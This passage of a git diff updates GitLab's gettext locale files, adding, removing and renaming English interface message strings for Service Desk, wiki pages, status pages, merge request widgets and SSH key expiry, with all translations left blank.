@@ -26909,9 +27584,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -26966,9 +27647,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27062,6 +27740,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27200,19 +27881,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27314,6 +28019,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27368,7 +28076,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27380,6 +28088,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27401,6 +28112,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27606,9 +28320,15 @@ msgstr[1] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27627,6 +28347,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -27867,6 +28590,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28545,13 +29271,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28566,9 +29292,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28581,7 +29304,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28671,9 +29394,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28689,9 +29409,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -28749,9 +29466,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29377,6 +30091,11 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29534,9 +30253,6 @@ msgstr[1] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29609,6 +30325,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29636,6 +30355,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29648,6 +30370,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29710,6 +30435,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29770,6 +30498,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -29842,6 +30573,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -29893,6 +30627,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -29941,6 +30678,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -29968,6 +30711,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -30001,9 +30747,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30247,6 +30990,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30385,7 +31131,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30469,6 +31215,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30478,6 +31227,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30490,6 +31242,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30796,9 +31551,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -30895,9 +31647,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31196,6 +31945,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31238,9 +31996,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31268,7 +32023,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31373,6 +32128,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31570,10 +32328,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31708,9 +32466,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -31765,6 +32520,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32167,7 +32928,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32176,6 +32937,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32272,6 +33036,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32470,9 +33237,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32524,6 +33288,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32569,7 +33336,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32797,9 +33567,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -32866,7 +33633,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -32875,6 +33657,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33026,9 +33814,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -33056,6 +33850,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33065,6 +33862,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33470,15 +34270,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33653,6 +34468,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33751,9 +34569,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -33826,34 +34641,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Page title"
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -33865,9 +34695,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -33880,9 +34707,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -33943,6 +34767,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34099,6 +34926,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34240,6 +35073,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34324,9 +35160,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34363,12 +35196,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34402,7 +35229,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34417,9 +35244,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34603,12 +35427,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34729,6 +35559,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34822,7 +35655,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34929,6 +35762,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35231,6 +36067,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35415,6 +36260,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35585,7 +36433,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35620,13 +36468,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35740,9 +36585,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -35893,18 +36735,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -35935,9 +36771,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36004,15 +36837,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36290,9 +37114,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36338,6 +37159,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/bn_IN/gitlab.po b/locale/bn_IN/gitlab.po
index 916a44f5a68..a4268448a13 100644
--- a/locale/bn_IN/gitlab.po
+++ b/locale/bn_IN/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: bn-IN\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:52\n"
+"PO-Revision-Date: 2021-04-02 00:12\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -120,6 +120,11 @@ msgid_plural "%d changed files"
msgstr[0] ""
msgstr[1] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -203,6 +208,11 @@ msgid_plural "%d failed security jobs"
msgstr[0] ""
msgstr[1] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -392,6 +402,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -404,6 +417,11 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -430,19 +448,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} more"
msgstr ""
@@ -537,7 +545,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -930,6 +938,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
